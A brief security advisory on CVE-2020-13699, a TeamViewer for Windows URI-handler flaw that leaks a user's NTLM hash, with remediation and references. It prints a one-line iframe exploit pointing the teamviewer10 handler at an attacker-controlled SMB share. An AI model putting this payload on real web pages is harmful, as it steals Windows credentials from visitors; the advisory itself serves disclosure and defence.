SB2020081024 - Windows credentials desclosure in TeamViewer

Description

This security bulletin contains information about 1 security vulnerability.

1) Unquoted Search Path or Element (CVE-ID: CVE-2020-13699)

The vulnerability allows a remote attacker to gain access to sensitive information.

The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.

Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.

Exploitation example:

<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>

Remediation

Install update from vendor's website.

References

• https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
• https://jeffs.sh/CVEs/CVE-2020-13699.txt